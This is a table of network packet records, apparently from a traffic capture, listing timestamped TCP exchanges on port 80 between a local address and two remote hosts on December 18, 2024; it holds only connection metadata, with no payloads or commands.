Dec 18, 2024 12:00:26.648452044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.648482084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.648541927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.649399996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.649470091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.649496078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.649593115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.650419950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.650461912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.650528908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.650650024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.651473999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.651539087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.651576996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.651622057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.652570009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.652647972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.652674913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.652734995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.653913021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.653994083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.654010057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.654050112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.654817104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.654881954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.654906988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.654977083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.655917883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.655958891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.655965090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.656233072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.657037973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.657138109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.657202005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.657263994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.658080101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.658154964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.658165932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.658226967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.659145117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.659240961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.659287930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.659287930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.660249949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.660341978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.660376072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.660429001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.661360979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.661454916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.661473036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.661562920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.662601948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.662676096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.662842989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.662914038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.663569927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.663634062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.663678885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.663899899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.664664030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.664731979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.664737940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.664799929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.665743113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.665827036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.665847063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.665990114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.666999102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.667114019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.667265892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.667375088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.668030024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.668112040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.668217897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.668282986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.669068098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.669148922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.669217110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.669281960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.670140982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.670216084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.670243979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.670317888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.671222925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.671303034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.671335936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.671396971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.672312975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.672355890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.672375917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.672446966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.673438072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.673577070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.673600912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.674701929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.674873114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.674900055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.675117016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.675678968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.675733089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.675901890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.675942898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.676714897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.676783085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.676820993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.676887989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.677798986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.677947998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.677978039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.678088903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.679001093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.679130077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.679157019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.679327965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.679354906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.680015087 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.680095911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.680128098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.680260897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.681118011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.681240082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.681266069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.681502104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.682147026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.682213068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.815752983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.815840960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.815857887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.815911055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.816231966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.816463947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.816488981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.816525936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.816539049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.816884995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.817533016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.817677975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.817794085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.818643093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.818864107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.819149971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.819830894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.819931984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.819972992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.820033073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.820940971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.820985079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.821027040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.821082115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.822463989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.822566986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.822577953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.822660923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.823669910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.823812962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.823853016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.823961020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.824757099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.824872017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.824981928 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.825723886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.825786114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.825907946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.826579094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.826653004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.826679945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.827452898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.827505112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.827522039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.827522039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.827761889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.828504086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.828654051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.828663111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.828752995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.829651117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.829704046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.829726934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.829792023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.830846071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.830951929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.831504107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.831865072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.831911087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.832012892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.832103968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.832911968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.832959890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.832987070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.833283901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.834029913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.834176064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.834289074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.835158110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.835239887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.835269928 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.835323095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.836251020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.836333036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.836502075 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.837353945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.837496996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.837532043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.837599039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.838449955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.838521957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.838542938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.838602066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.839471102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.839585066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.839590073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.839668036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.840861082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.840955973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.840961933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.841082096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.841795921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.841856956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.841948986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.842803955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.842897892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.843159914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.844326973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.844446898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.844480991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.844563961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.845184088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.845302105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.845314980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.845463991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.846256971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.846384048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.846411943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.846522093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.847321033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.847450018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.847472906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.847538948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.848243952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.848339081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.848356009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.848423958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.849386930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.849459887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.849488020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.849586964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.850449085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.850569963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.850599051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.850693941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.851558924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.851655006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.851675034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.851830006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.852739096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.852777958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.852807999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.852863073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.853843927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.853856087 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.854001045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.854794025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.854947090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.855051994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.855961084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.856142044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.856254101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.857069016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.857167959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.857198954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.857480049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.858179092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.858310938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.858346939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.858967066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.859215021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.859375000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.859639883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.860282898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.860441923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.860457897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.860513926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.861398935 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.861515999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.861541986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.861674070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.862560034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.862634897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.862843037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.863672018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.863754034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.863872051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.864715099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.864778042 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.865056992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.865797997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.865957022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.865983963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.866014004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.866888046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.866987944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.867013931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.867244005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.867976904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.868103981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.868127108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.868454933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.869065046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.869175911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.869223118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.869333029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.870219946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.870297909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.870316029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.870352030 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.871450901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.871551037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.871927023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.872497082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.872536898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.872565031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.872678041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.006717920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.006753922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.006764889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.006833076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.006833076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.006870985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.006934881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.007124901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.007203102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.007204056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.007425070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.007452011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.007540941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.007663965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.007690907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.007774115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.008117914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.008240938 CET	80	49913	185.215.113.17	192.168.2.6
